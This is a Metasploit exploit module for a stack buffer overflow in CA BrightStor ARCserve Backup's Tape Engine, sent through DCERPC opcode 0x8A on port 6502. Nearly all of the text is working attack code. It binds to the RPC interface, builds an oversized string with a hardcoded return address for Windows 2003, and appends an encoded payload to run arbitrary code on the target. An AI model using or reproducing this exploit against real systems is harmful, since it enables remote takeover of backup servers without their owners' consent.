CA BrightStor ARCserve Tape Engine – 0x8A Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '68330'], [ 'URL', 'http://www.metasploit.com/users/mc' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ], ], 'DisclosureDate' => 'Oct 4 2010', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(6502) ], self.class) end def exploit connect handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00" request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dcerpc.call(0x2B, request) sploit = NDR.long(4) sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00") print_status("Trying target #{target.name}...") begin dcerpc_call(0x8A, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end =begin /* opcode: 0x8A, address: 0x100707D0 */ long sub_100707D0 ( [in] handle_t arg_1, [in] long arg_2, [in][ref][string] char * arg_3 ); =end |